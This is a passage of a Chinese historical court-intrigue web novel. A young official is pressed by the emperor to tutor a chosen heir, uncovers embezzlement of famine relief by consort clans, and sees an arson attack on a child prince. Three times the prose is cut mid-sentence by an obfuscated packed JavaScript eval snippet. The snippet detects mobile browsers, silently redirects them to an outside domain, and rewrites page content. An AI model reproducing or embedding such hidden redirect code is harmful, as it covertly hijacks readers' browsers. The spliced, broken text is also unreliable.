他抬眼望着小七,只见那眼中似有扑朔的失意,他顿了顿,继而恳切道: “有朝一日,臣会为殿下洗去污名,殿下身在宫中,还望谨慎自保。” 话音刚落,殿外便传来传诏之声—— 来人是陛下身边的中常侍常玉: “陛下口谕,召校书中郎张岁安、近侍校尉江崇,入集贤殿觐见。” 张岁安闻声一怔,静默地将手收回了袖中。 25. 局中人 陛下突然单独传诏两个青年小官,一听便觉得突兀。 张岁安埋头跟在中常侍身后,心下难安,江崇更是一路上朝他递了好几个眼神,恨不能提前跟张岁安打好腹稿。 临到了集贤殿前,天光映廊,殿门肃穆,暑热沉沉,殿中时不时地窜出几丝凉意。 常玉温声道:“二位还请稍等片刻,待奴去殿中传话。” 说罢便进了殿中,片刻后常玉回至殿门前,躬身抬手宣话,引着二人入了阁中。 殿室深处透着幽幽凉意,不似外面那般潮热,景和帝斜倚在座上,借着宫人扇下的清风,正看着紫檀木案上未合的奏本。 两人各自掀起袍角,跪伏于堂下—— “臣,张岁安,拜见陛下,陛下万岁无期。” “臣,江崇,拜见陛下,陛下万岁无期。” 张岁安因身兼修典一事,倒是也跟着圣人一起来答过几次话,可江崇却从未单独面见过陛下,从前就算是进宫朝见,也是跟着父母来的,哪有单独被陛下拎出来问话的时候。 这样一想,心中已经把近日行径通通过了一遍,想着是不是不小心犯了什么大错。 直到景和帝忽然开口了:“朕看了这月你呈上来的修典事文,写得不错,既有少年之英气,又有士家大族之成稳,不愧是张老太傅之后。” 张岁安俯身叩首,恭敬答话:“谢陛下厚赞,修典顺利,实乃圣人指点得当,并非臣一人之功。” “张淮之能得此子,乃朕之幸也,他之不幸啊。”景和帝话说得直白,说完也闷笑了两声,故作出一副玩笑话的模样来。 他望着堂下跪伏在地的张岁安,语气又沉了几分:“朕前几日看御史台呈上来的百官效考,实在忧心,如今朝堂上下,青黄不接,老臣们年事已高,而新进臣子却又多困于弊制,难登要职,朝堂无砥柱之臣,朕纵有心操振,却也是有心无力。” 张岁安伏在地上,不敢抬头,声音压得平稳恭敬:“陛下忧心朝堂,重视新进臣子,乃国之大幸,臣一小辈,更是深感陛下之圣明。” 江崇见张岁安场面话一套一套的,也不好闷在后面装死,只好照猫画虎地把张岁安的话复念了一遍:“是,陛下圣明,臣身负皇恩,实乃大幸。” 景和帝听罢,温和地笑了笑,点了点张岁安道:“你亲自请得圣人出山,又监修同文典得力,一小小中郎,倒像是屈才了。” “陛下盛誉,臣不敢当。” “其实袭国如今的官制弊病颇多,落得那平民才子们只能挤到那方寸的明堂间去争先,朕亦有心,想要听听这四方言论。”景和帝眼神怃然厉了几分,“你且与朕说说,近日那明堂上,可有什么趣言没有?” 张岁安眼皮一颤,心口紧了紧,景和帝这是摆明了要拿那明堂上的议储之言试探他。 他顿了片刻,旋即开口道:“臣忙于修典之事,对外界诸事疏于察闻,不知明堂所言,还请陛下恕罪。” 景和帝沉声道:“是不知,还是不敢说?” 张岁安伏在地上的头又低了几分,殿内一时凝滞。 景和帝话锋一转:“地方蝗灾骤起,多有传言说是因东宫无主所致,他们是看朕年岁已高,又迟迟不立储君,朝臣惶惶,百姓也不安分,既然如此,倒不如顺了他们的意思,把储位定下来,也好让他们定心一些。” 景和帝说完,沉默了半晌,跪在堂下的人也不敢吱声,直到他缓声开口道: “朕,有意立三皇子为储。” 张岁安脑中顿时“嗡”地一声,旋即陷入一片死寂。 他似是也没想到,陛下会这样将立储这么大的事,当着他们两个少年人的面,就这么直接了当地说了个定。 他面朝地上,头几乎就要垂到地面,头顶的圣意还在宣布着—— “再封张淮之为太子太傅,你,协助老三修典有功,就随父一起,封为太子少傅,你张氏一族,往后便可永享帝师之荣。”接着,景和帝又稍带上一句,“江崇,随侍七皇子有功,待太子册立后,升为太子少保。” 他面上的态度再宽和不过了,送官送名,像是给张府找稳了退路,可内里,却是藏着盘算的—— 张氏乃士族之首,让他为三皇子之师,一是为了借张氏之名,让下面的老臣认这个太子,二是让三皇子能借此笼络士族,未来也好防止外戚独大。 这样一来,两边制衡,才好让各方都能使唤得动。 眼见景和帝的一番话,直接将七皇子身边之人抽了个干净,张岁安跪在堂下,迟迟不敢开口答话。 侍立在旁的中常侍常玉见了,也刻意清咳了两声,提醒着张岁安回话。 “太子乃国之储君,臣……”张岁安叩着地面,竭力维持着语气的平稳,“臣资历浅薄,实在难以担此重任。” 景和帝也料到他会说些拒词,旋即不急不缓地悠悠说道:“昔日朕听闻,明堂辩议上,曾有一少年才子,言辞犀利,一语中的,论及帝号之称时,说——”他顿了顿,似是想不太起来了,转头瞥了眼身旁的常玉,问道,“说的什么来着?” 常玉微微躬身,将张岁安之前在明堂上的言论原封不动地答了出来:“回陛下,此人说,袭国的帝号不可除,帝王之尊永存于世,而政事之谋断,邦交之进退,自有臣子,鞠躬尽瘁。” 张岁安一怔,僵在堂下,认命似地闭上了眼。 那日在明堂发问之人,果然是宫中的人。或许从那时起,自己的一言一行,便早早地被记入了景和帝眼中。 景和帝望向张岁安,又搬出之前说服张淮之的那一套,拿着情怀,说着软话叹道:“若袭国臣子皆有此志,朕何愁大业难成啊?” 在景和帝看来,三皇子虽算不上明君,却胜在敦厚,赵氏一族虽算不上能臣,却胜在好使。 臣不在贤,而在可控。没有根基的臣子,才能依附于君王之下。 若真任由年幼的嫡皇子继承大位,那才真的是士族堆上长了个小小的皇帝,届时皇权旁落,东袭皇室又将形同虚设。 除非,有一种可能,便是东袭皇室祖坟冒青烟,得了个千古忠臣,此人既要有诸葛之智,还要有诸葛之忠,死心塌地,绝无二心。 可是这种理想之士难得,他做了这么多年皇帝,见惯了为权为利之人,早就不信这种冒着忠义之名,实则争权夺势的鬼话。 而张岁安,他有智,有谋,有家族,有身份,最难得的,是他还有着半分少年的心气。 他就是那个最适合为袭国献祭的臣子。 殿内气氛沉滞,唯有殿外几声颓懒的蝉鸣,闷闷作响。 最后,景和帝终于想起了夹在这盘棋中的小小幼子,他轻描淡写地说了句:“七皇子虽还年幼,但也并非不能破例,朕会给他个偏远的藩地,让他在外安稳一生,从此不再入绥京。” 话虽如此,却连景和帝自己也知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445034|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他活着时,尚且能保证七皇子所谓的安稳一生,可来日三皇子即位,新帝登基,一纸诏令下达封地,七皇子难道还能抗旨不入朝觐见吗? 这孩子的出生,本就是个意外,从他生下来那天起,恐怕除了皇后,就没人真心盼望他活着。 作为一国之君,当以朝政为先,作为父亲,能保他半生,已是仁至义尽。 今日,景和帝提前在小辈面前露了底,也是为了让他们回去后,跟家中父辈通好气,别再争辩什么立嫡立庶了,各自安分守己地迎立储君吧。 张岁安跪了不过半柱香的时间,却仿若隔了一世。 他浑浑噩噩地走出集贤殿,一路被宫人领着,走过漫长的廊道,青石板路被日头晒得发烫,像把人裹在其中煎烤一般。 江崇平日虽不爱钻营,但刚在殿中听了这么一出,当下也有些恍惚,脑中嗡声一片。 这宫城之中,这皇权之下,他们终究只是棋盘上的棋子,往哪落,最后还是得执棋人说了算。 两人沉默了一路,像刚过了大考的学子,被满卷的难题折磨得没了心气,在陛下既定的棋局面前,之前的用功仿佛都成了一场笑话。 他们各自埋着头,盯着脚尖往前走,临到岔路口时,引路的宫人转身问道:“江校尉回佑炆殿,张中郎官要去何处?” 江崇抬起头,瞅了一眼张岁安。 张岁安缄默不言,心下也乱麻一团,默了片刻,才开口道:“我回郎署,辛苦内侍,不必引路了。” 他不知道要怎么面对小七。 江崇别了张岁安,一路回了佑炆殿中,这段路不长不短,却足以让人在这潮闷的天气,走得心烦意乱。 一进殿中,只见小七皇子吃完了张岁安带来的冰酪,又站在太阳底下,开始练箭。 这七皇子也是执拗,一做起什么事来,就像是要做到底一般,也不嫌累。 只可惜,他就要被送到偏远的封地去了。 常乐见江崇一副愁眉不展的样子,旋即问道:“江校尉怎么如此颓丧,可是陛下说了什么? 江崇沉湎在刚才那段面圣的大考中,整个人还没完全回过神来。 “陛下,说要封三皇子做太子,还说,要让我做太子少保……”他神情恍惚,幽幽回道。 常乐闻言一怔:“可你不是,你不是七殿下身边的近侍吗?” 江崇抬了抬眼,有气无力地答了句:“别说我了,就连张子康也没躲过,陛下要封他做太子少傅,和张伯父一起辅佐太子……” 话音刚落,就听见“嘣”的一声空弦弹音—— 江崇和常乐同时转头,只见小七皇子手松了松,木弓从指间滑下去了半截。 常乐迎了上去,才瞧见七皇子手上落了一道赤肿的红痕,像是被弓弦回弹的猛劲给刮伤的。 “殿下,殿下没事吧?可要奴去传太医来?” 小七没吭一声,只是蹙着眉头,幽幽地望着地面。 “殿下?”常乐抬手在小七眼前晃了半天,也不见他回神,不禁在心里嘀咕,是脑袋也弹着了吗? 小七缓缓放下手里的弓,只觉得手指火辣辣的疼,那歹毒的痛意顺着指头往胳膊上爬,十指连心似的,弄得他心里也跟着难受。 他念着陛下说要封张岁安为少傅的事,闷气噎在胸口,闷得发怨,心下止不住地想: “他要去辅佐别人了?” “那我呢?” 26. 外戚 张岁安回到张府时,夜幕已沉。 “公子,今日怎的回得这么晚?也不让轺车去接?”彭吉见他终于回来,连忙上前问道。 张岁安没有答话,他一路从宫门步行回府,走了整整一个时辰,却还是没能走清头脑,他心不静,思绪自然也如乱麻一般。 在他看来,自己不仅没能救得了小七,还顺道拉着父亲和好友一同入了局。 若一切到此为止,按照圣意编排,各自认命,那小七皇子便遁入了死局。 可若继续造势,一切都是未知数,若陛下当真雷霆之怒,还不知道要有多少人被卷进去。 彭吉的声音忽然挤入耳边:“对了,公子,你迟迟未归,客人还在后堂一直等你呢。” “客人?”张岁安一愣。 “对,说是姓杜,酉时便来了,一直等到现在,想来是有什么要紧事吧?” 张岁安定了定神,便去了后堂见客。 杜何见张岁安终于归家,连忙将案上续了好几次的茶一饮而尽,起身道:“子康公子忙于修典大计,杜何今日不请自来,实在是叨扰了。” 张岁安见他神色急促,问道:“文德兄此来,可是有什么急事?” 杜何身后带了一个布裹,里头似乎扎扎实实地装了不少东西,他低了低头道:“公子,可否借一步详说?” 张岁安闻言,将杜何请去了自己的书房。 杜何将带来的那一袋东西放在地上,悉数铺开,竟是一大堆简牍账目。 说是账目,却更像是鬼画符,潦草程度堪比天书,像是自带了一层加密系统,除了写此天书的人,其他人未必能看得懂。 “幸而子康兄举荐,在下才得以入司农府,这是在下自入茶政司后,所经手过的账目副本,不是官本,是在下随手所录,故而有些潦草,若无在下讲解,谁也看不明白。” 这个杜何此前虽无仕途经验,但毕竟是个常年混迹市井的商贩,官场也是人场,只要是有人的地方,他都能油滑地找到空子趁虚而入。入职司农寺不到半年时间,不仅在茶政司上下混得通,还在粮、盐、铁署各自都认上了熟人。 “在下初入茶政司时,便发现入库的账册与实际库存有异,账册上写明的甲等首批春茶为三千斤,可库中至多只有不到两千斤,除了供给皇室的五百斤以外,其他全与陈茶混卖,可这名义上供给皇室的五百春茶,却没有少府的采买符节,只有司农寺丞的批复手令,司农寺丞批复后,再交由司农寺卿复核。” 杜何说至此处,忽而顿了顿,沉声道,“这司农寺卿的身份,想必子康兄也明白……” 大司农卿梁瑞,乃是太妃之弟,先帝皇后早年薨逝,那太妃便是当今景和帝的养母,说到底,这梁瑞还算是半个国舅爷。 官吏舞弊贪腐,皆由御史台监察,可如今的御史台由涂均掌管,这个涂均八面玲珑,对此自然是睁一只眼闭一只眼,也难怪这些蛀虫嚣张至此。 张岁安眉头微蹙了蹙:“少府掌皇室私用,司农寺绕开少府,难不成这皇室用茶,根本没进内宫?” “少府到底进了多少春茶,在下难以知晓,这朱楼背后是什么来头,能走皇亲国戚的门路,在下不过一小小官吏,就更不得而知了。”杜何顿了顿,继而又说道,“春茶到底非普通平民常得之物,他们才做得十分小心,除了这茶政之外,粮、盐、铁等更是变本加厉啊。” 杜何说着又展开一简“天书”—— “眼下正值蝗灾,赈灾粮管是当下司农寺的一大要事,上月太仓署缺人,在下捡了个空缺,便从茶署临时调任到太仓的粮署办事,除了南境两州以外,东面的宜州灾情也十分严重,尤其是会冶郡,五十万石灾粮,登记入册的损耗竟然过半,一来二去,轮到灾民手中的不到十万石,而那会冶郡郡守,又偏偏是那赵……” 杜何的话头戛然而止,唉声叹息,顿了良久—— 会冶郡是赵氏的祖籍,陛下亲封赵贵嫔之弟赵显为会冶郡太守,或许也有让赵氏一族站稳地方势力的意思。 “说句犯上的话,这梁氏与赵氏同为外戚,行径又如此相同,难保以后不会是一丘之貉。”杜何语气小怒,接着又迅速平静了下来,埋头开始卷自己带来的那一方方简牍,“在下随手录的这些账目,也不是什么核心账册,都是些末微边角的碎料,作不得证据,今日专程来讲与子康公子听,是为报公子当日举荐之恩,为公子解惑,公子如今知道了,就当没听过,可万万不要将杜某供出去啊。” “子康明白。”张岁安沉声道。 杜何叹了一声:“蝗灾已是天灾,可饥荒却是人祸,说到底受苦的还是百姓,我在会冶也有几门远亲,听闻今年粮荒,村子里已经开始易子而食了……在下官职微末,最多只能做到这份上了,子康公子身居要职,现任修典一事,又能上达天听,想必定是比在下说话要管用得多。” “穷则独善其身,达则兼济天下,文德兄此举已是大义。”张岁安的目光落在那一堆子的“天书”上,“只是御史台监察百官,奏本总要有个由头,不知文德兄可否提供一二线索。” 杜何闻言也是微微一怔,嘴唇抿得发白,似是在做着什么激烈的心理斗争。 半晌过后,他终于开口说:“之前与同僚们喝酒时,在下确实无意间听说了一件事,太仓署下曾有一官吏,对司农寺的风气甚为不满,于是偷偷向御史台写了检举的文书,不出月余,便因母丧而辞官回乡丁忧,路上不幸遭山匪劫杀,就此……” 杜何话头戛然停在这里,望着张岁安,后面的话,想必不用说明,他也明白。 低阶官吏,单枪匹马去检举整个司农寺,简直就是螳臂挡车。 不过向御史台递过的文书,即便正本没有呈到陛下面前,在兰台也会有备份的存档。 张岁安次日便去查证,为了不把别人卷进来,他甚至没有告诉程为,只说自己要查看去年司农寺呈递上来的文书,用于修典参考。 他翻了两夜,终于找到了杜何口中的那份检举文书,其中提到,大司农卿梁氏借职权,将粮、盐、铁、茶等由官链转为私控,不仅中饱私囊,还借由赵氏族亲,在沿海州郡与桑族人通商,言之凿凿,不像是无凭无证之论。 而落款的那名官吏,名叫郑昙。 这名字,他觉得有些眼熟,似乎在哪里不经意地瞥见过一次。 仔细想了一番,才想起是以前在太学整理地方学子文结时,似乎见过此人的文结。 隔日,张岁安又去了太学,他亲自整理的文结,自然记得清楚一些,只是上百份资料,要找一个人,还是如同大海捞针。 又翻了两三夜,终于找到了此人的寥寥数笔—— 郑昙,原籍宜州,因少年时一篇才华横溢的望闻录而被赏识,经过层层察举考核,才入了司农寺,在此之前,他还曾做过太仆曹氏的门客。 太仆曹氏,便是差点与江家结亲的那一家,曹府主母是张岁安的姑母,太仆曹大人便是他的姑父。 张岁安托了一份帖子上府,攀亲问好后,又亲自上门去叙旧了一通。 谁曾想到,歪打正着,从曹太仆口中听得,原来与曹家女儿私奔的那个寒门书生,竟然就是那郑昙的胞弟,名叫郑岐。 说起来也是奇怪,郑氏一族虽是寒门,但家境清白,前途大好,据张岁安所知,姑父曹太仆并不是个固执老旧之人,若是女儿真心悦郑岐,他未必不会允许这门亲事。 可一切都在郑岐的长兄出事后,变味了。 曹太仆以郑氏母丧不能新婚为由,硬要斩断这对鸳鸯,逼女儿与江氏结亲,结果才有了两人私奔的后续。 曹太仆嘴上说得痛彻心扉,恨不得打死女儿以正家风,可张岁安却听出了几分他意。 直到用完了晚膳,天色渐沉,临走时,姑母张夫人一直将张岁安送至了曹府的大门前。 “姑母,恕子康直言,你是否知道表妹如今身在何处?” 姑母张夫人一怔,反问道:“何出此言?” “或许,姑母不仅知道女儿在哪,知道他们为何而跑,更知道郑岐的母亲和兄长,到底为何而死。”张岁安顿了顿,见姑母缄默不语,继而又说道,“表妹与那郑岐私奔,是不得已而为之的下下策,可对曹氏来说,却是周全之策。只有这样,才能既让有情人终成眷属,又让郑岐与曹氏名义上脱离了干系,这样即便外戚权臣追责过来,也赖不到曹氏头上。” 张夫人听罢,微微苦笑一声:“子康,你自小便有玲珑心思,既然如此,便应该知道,此事事关我女儿的半生,事关曹氏在朝中的态度,更事关你,作为张氏的长公子,是否要在这党争中陷得更深。” “郑昙曾检举过司农寺贪腐,那份文书我亲眼见过,言辞昭昭,定是有实证可凭,若真能找到郑岐,或许还能从中问出一些残余线索……” 张夫人没等他说完,便开口打断了他的话头:“今日太晚了,再不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445035|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,你父亲要担心了。”说完便默默回了曹府的大门。 张岁安无奈缄默,转身上了回府的马车,一路经过绥京城的夜。 他心下明白,如今朝中的士族臣子并非是怕事,更多的,只是不想惹事,更不想当磨刀石,作出头鸟。 此事表层是茶政粮政的弊案,中层是外戚腐败的盘根错节。 可更深层,却是不宜窥视的天家圣意。 赵氏一族作为新晋外戚,复刻着梁氏的路径,借职权贪粮贪税,壮大自己的地方权势。这一切的关键,本质上还是来自景和帝的默许—— 是景和帝,在“保民生”和“固皇权”之间,做了最现实的权衡。 外戚一派,是他制衡士族的权柄,只要他们不触碰底线,只要他们始终依附于皇权,民脂民膏,赈灾粮草,不过是在帝王默许下的一些小小福利。 只是朱门的一车粮,可能就是百姓的一家命。 张岁安经过这一遭后,对帝王权衡之心已是深有所感,自是明白这不能为人所道的内因。 他心下沉到了底,乱无可乱的心绪反倒有了几分拨云见雾的清明。 此前在集贤殿中被陛下召见的一幕又出现在眼前—— 三皇子若当真被立为太子,那赵氏专政便是大势所趋。 眼下,外戚贪腐,已致百姓饿殍遍地,易子而食。 往后,三皇子即位,赵氏当权,势力必然比梁氏更盛,三皇子更非贤明之主,届时东袭朝堂又是一番乌烟瘴气。 国力不盛,内政还乱,外有强敌,是妥妥的亡国之兆。 夜里,一阵秋雨瓢泼地落了下来,催走了延绵的闷热,天气骤然凉了。 张岁安白日在宫中忙着修典之事,晚上回府,便细细地梳理着自己所能收集起来的证据。 粮、盐、茶、铁,说简单些是民生大计,说复杂些,贪墨的粮草去了哪?空账的盐铁又去了哪?乱世的金银比不上刀剑,一天一碗米,便能养一个死士,这一点士家大族知道,寒门新贵也知道。 外戚贪腐案在本朝更是算不得什么新鲜事,一纸奏本递上去,估计连个响声都听不到。 要想让他们的罪名都落到实处,还得顺势而为。 张岁安在等一道圣旨。 他在等那道陛下正式册封三皇子为太子的圣旨—— 届时,他会以外戚腐败牵连储君声誉的名义,上书死谏。 此前,外戚是制衡士族的刀,景和帝可以容忍其贪腐。可一旦在太子册封的节骨眼上出了丑事,那便是动摇国本,辱没圣名,不严惩,便不足以安民心。 景和帝借由七皇子血痣克亲之说,将立储的“国事”改成“家事”。 那张岁安便要将朝堂整顿吏治一事,借由巩固皇权的名头,再将“家事”,改回成“国事”。 即便陛下立储,作为臣子,张岁安没有反抗的权利,可如此一来,三皇子若还想入主东宫,便需得断臂求生,大义灭亲,不然无法在臣民之间立威。 三皇子在人前素来“仁孝”,是公是私,就像陛下留给张家的难题一样,张岁安想赌一把,将这个难题再给他弹回去。 自秋雨过后,一夜比一夜凉,秋风打着旋地往屋里渗,吹得张岁安的手总是发冷。 忽然,一丝调皮的风从门缝吹入书房,惊得他案上烛火一颤。 门外传来急匆匆的脚步声,似有人在熙熙攘攘地说话—— 守夜的彭吉忽然敲开了门。 “公子,公子,你快出来看啊!”彭吉神色慌乱。 “怎么了?”张岁安抬手护着险些被风吹灭的烛火。 彭吉挥着手,一个劲地往外指:“宫里,宫里那边,好大的火光。” 张岁安也是一惊,不太明白这话的意思,连忙起身,走出门外,临到院子里,便远远地望见漆黑一片的夜空,唯有那四方城的顶上,冒着橘红色的火光。 “托人去问了吗?可是宫里走水了?”张岁安连声问道。 “问了问了,就是宫里边儿走水了,具体是哪宫还不知道。” 张岁安心下一紧,顿时觉得不妙。 再一抬头,望向那穹顶之上的灼灼火光。 皇宫走水是大事,此刻想必宫里的卫队都已出动了,不仅如此,为防有人借火纵乱,连执金吾也会彻夜禁守布防。 明日朝堂上,又将是一番纷扰。 这一夜,注定是安稳不下来了。 27. 火起 大火炀炀,烧了足足一个时辰。 火势起于东侧皇子殿宇,佑炆殿年久失修,压着灰的木梁根本不经烧,火舌绕上去飘了一会儿,横梁便如枯木一般断掉了。 变形的梁木依稀砸下,溅得灰烟四起,灼灼的火光发着烫,彻底烧走了秋夜的凉意。 “七殿下!七殿下还在殿中啊!”常乐趴在殿外,望着滔天的火势嘶声喊着,却没人真敢扑进那火堆里救人。 江崇从郎署赶来,带着宫人们一齐灭火,宫中一般都放有太平鼎蓄水,前几日刚刚下过雨,按理说里面应该有水,可偏偏那佑炆殿的水鼎底下不知何时被凿了个洞,根本蓄不了水,只能绕路去更远的鼎里借水灭火。 直到卫队运来沙土混着水一层层地浇,终于压灭了火舌,佑炆殿也只剩下一堆黑木架子了。 众人拨开七歪八倒的梁木,越过摧枯拉朽的殿厅,在后院的地上,找到了趴在泥里的七皇子,一身衣袍已被火星烧得褴褛,幸而人还剩一口气。 想来这七皇子应是见前门大火不止,了无生路,便翻窗跑来了后院,后院虽是四方的死路,但至少能喘上一口气,才没被那漫天的黑烟给活活熏死。 宫中走水,伤及皇子,乃是大事,掌管宫廷宿卫的光禄勋与卫尉连夜出动,惊报传入了景和帝的殿中。 这阵子景和帝忙于批阅地方赈灾的奏报,已经好几日没进过后宫了,累了就直接歇在温承殿。 卫尉匆匆觐见,跪在温承殿的堂下:“佑炆殿起火,臣查勘现场痕迹,火应是先起于殿内,后烧至殿外,七皇子幸得翻窗逃至后院,被浓烟呛晕了,腿上也有烧伤,太医已赶去救治……” “佑炆殿的内监是怎么当值的?”景和帝一身亵袍,坐在榻上,抿了半口内侍递上的茶。 “回陛下,经臣查问内监,七皇子怕黑,故而殿中夜里都留有烛盏,守夜的宫人供称,除了负责打扫烛台的宫婢,未曾看到什么人进出过,夜里听到动静醒过来时,殿内已经火光冲天,加之佑炆殿外的太平鼎被凿破,致使近侍校尉赶到时无水灭火,故而才致火势蔓延。”卫尉顿了顿,“佑炆殿相关宫人皆已拿下,陛下可要详查?” 景和帝默了半晌,没有直接应答,只是沉声问了句:“七皇子在哪?” “佑炆殿离和谦殿最近,臣已命人将殿下暂时安置在和谦殿中。” 景和帝顿了顿,旋即放下茶盏,淡淡道:“去和谦殿。” 和谦殿原是四皇子的居所,后来四皇子出宫立府,现下和谦殿便空了出来。 夜色如墨,御驾浩浩荡荡地往皇子东苑走,远远地便闻见大火枭尽后的那股子呛味儿。 佑炆殿的宫人被卫尉军押在殿门外,一个个埋着头等待圣裁。 殿内,太医成群,挤在一处,见陛下驾到,纷纷停下手中诸事,跪伏迎接圣驾。 景和帝行至堂前:“七皇子如何了?” 太医答道:“回陛下,七皇子被浓烟熏晕,还未完全清醒,右腿小腿有巴掌大的烧伤一块,臣等正在为殿下清创上药。” 景和帝顺着他的话朝榻上望去,那灰漆漆的小人就这样安静地躺在那里,像一截被烟熏坏的纸人。 露出的小腿上被火烧掉了一块,烂肉腐成一团,又红又黑,血淋淋地刺在景和帝的眼中。 他上前两步,望了望那躺在榻上的小小身影,这孩子的样子,长得像他母亲,清俊,素净,眉眼锋利,透着股倔脾气的轴劲。 此刻闭着眼躺在那里,小脸被熏得黢黑,发青的嘴皮还止不住地颤了颤。 景和帝似是听见了幼子的低声,俯身上前:“七皇子可是说话了?” 太医一怔,也凑上去听,那声音低如蚊蝇,好似睡梦中的呓语,断断续续,听不太清。 殿中沉静下来,众人都不再出声。 片刻后,景和帝终于听见了那微弱的气声,当他听清那呓语时,心也不免跟着一沉。 他听见这孩子,正用几不可闻的声音,在叫着“父皇”。 他在说:“父皇,救我……” - 按照宫规,宫人失职,导致宫禁起火,伤及皇子,一般会先交由司隶校尉查办,再交由廷尉审讯定罪。 而这次,景和帝却绕过了司隶校尉,直接将涉案的宫人送至了廷尉府。 满朝皆知,赵青如今任司隶校尉一职,景和帝此举,颇有几分不让赵氏干预的意思。 廷尉邢峥,原是张老太公的门生,性情刚正,却也心思巧绝,他知道这里头的水深,不敢妄自审查定罪,一头拉来了御史台监审,另一头,又向陛下请命,说:“事关皇子安危,求陛下命一位宗室监审,方能服众。” 于是,四皇子便临危授命,被景和帝派去监审佑炆殿失火一案。 这四皇子的母妃宜贵人本是桑族公主,桑族地处东邻,乃外族血脉,士族老臣们连立庶子都觉得有违国法,更不可能允许一个外族皇子继承宗庙。 故而四皇子从根上就被排除在储君之外,他既无外戚,又不亲近士族,这不偏不倚的立场,恰好也适合此案。 赵贵嫔得知此事,最先察觉到端倪,把三皇子叫来披头盖脸地骂了一顿—— “佑炆殿大火,半个宫城都知道了,你倒好,尽顾着跟宫婢厮混,在自己殿中裹着被子睡大觉!” 得亏这三皇子名义上还挂着一个爱护幼弟的名声,自己的幼弟都被烧熟了,他竟然还两耳不闻窗外事。 他要是个机灵的,跑去演一演,装着与众人一齐灭灭火救救人也好,偏偏一晚上没现身,这让人怎能不生疑? 如今廷尉府奉命严审此案,保不齐会将她安插在佑炆殿中的眼线审出来,这事陛下刻意将司隶校尉排除在外,赵氏是一点手也插不上。 如此一来,只能以静制动,她赶紧让亲信给赵家传信,让赵氏一族千万不要对此案有任何干预,免得被人抓住手脚,反倒无中生有。 这场火来得太急,急得人来不及反应,张岁安得知大火起于佑炆殿时,心下就已经乱了,加上江崇作为皇子近侍,也因失职被一齐下了廷尉府的大狱,消息接二连三,更是火上浇油。 廷尉府外的夜已沉了,门前左右两只大石兽在月色下咧着一口獠牙。 张岁安趁夜来访,一是替江府的伯父伯母来稍作打点,二也是想见一见廷尉邢峥,探探查案的进程。 这个邢峥虽是张氏门生,答允了见面,却也不想被盖上一个徇私枉法的名声,正好四皇子奉旨监审此案,事必躬亲地几乎快要住进廷尉府中,邢峥便将他也请了过来,这样两方在场,也好不被人落下什么话柄。 “臣,张岁安,见过四殿下。”张岁安止步行礼。 “不必多礼。”四皇子轻声道。 这四皇子的年岁与三皇子差不了多少,逢人态度谦卑随和,穿戴规制上倒像个寻常的士族公子,而非金尊玉贵的皇子。 四皇子知道张岁安的来由,也开门见山道:“吾知你与江府交好,其实此事你倒不必忧心,江崇虽为近侍,却非值守之责,况且江崇听闻火情,沿途召集卫队赶来救火,这份救火之功,廷尉案上都有记录。” 廷尉邢峥见皇子先行开口了,旋即也补话道:“正是,子康你回去后告诉江大人,让他们大可安心罢。” “不过,”四皇子又补上一句,“皇子受伤,身为近侍仍属失职,一顿廷杖还是免不了的。” 张岁安点头躬身道:“谢四殿下与廷尉秉公办案。” 四皇子顿了顿,继而又道:“况且,此次失火也并非值守失职的意外,而是有人故意纵火。” 四皇子此言一出,廷尉邢峥和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445036|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张岁安皆是一顿。 邢峥似是也没想到,四皇子竟然就这样把还未确凿的案情明堂堂地告诉了张岁安。 “四殿下此言何意?”张岁安问道。 “明堂才子们前脚才议论完嫡皇子克亲之说是赵氏为了废嫡立庶有意为之,现下嫡皇子身在宫中,忽而火从天降。”四皇子顿了顿,侧目问道,“试问除了备受圣宠的赵氏,谁有这个胆量?” 张岁安:“四殿下对民间非议,倒是洞若观火。” “吾不过一闲散皇子,平日无事,才多听了一些罢。”四皇子说着,又看了一眼邢峥,“况且这几日,我们从佑炆殿审出的眼线,可也不少啊。” “是是是。”邢峥连声应和,既然是四皇子要直接告诉张岁安的,他也懒得再遮掩了。 四皇子似有若无地翻着案册,轻描淡写道:“据他们的供词来看,不仅替赵贵嫔监视佑炆殿动向,还曾经在五弟的药膳中下毒以至其疯傻无状,虽然还未直接承认纵火谋害七弟,但重刑一下,估计也就都会招了。” 邢峥在一旁听得直埋头,也不知四皇子把这些还未上呈的供词提前泄露给张岁安,到底是揣了什么心思。 张岁安与邢峥迅速递了个眼神,却也只得应道:“若真是如此,四皇子亲审此案,也算是能还五皇子与七皇子一个公道了。” 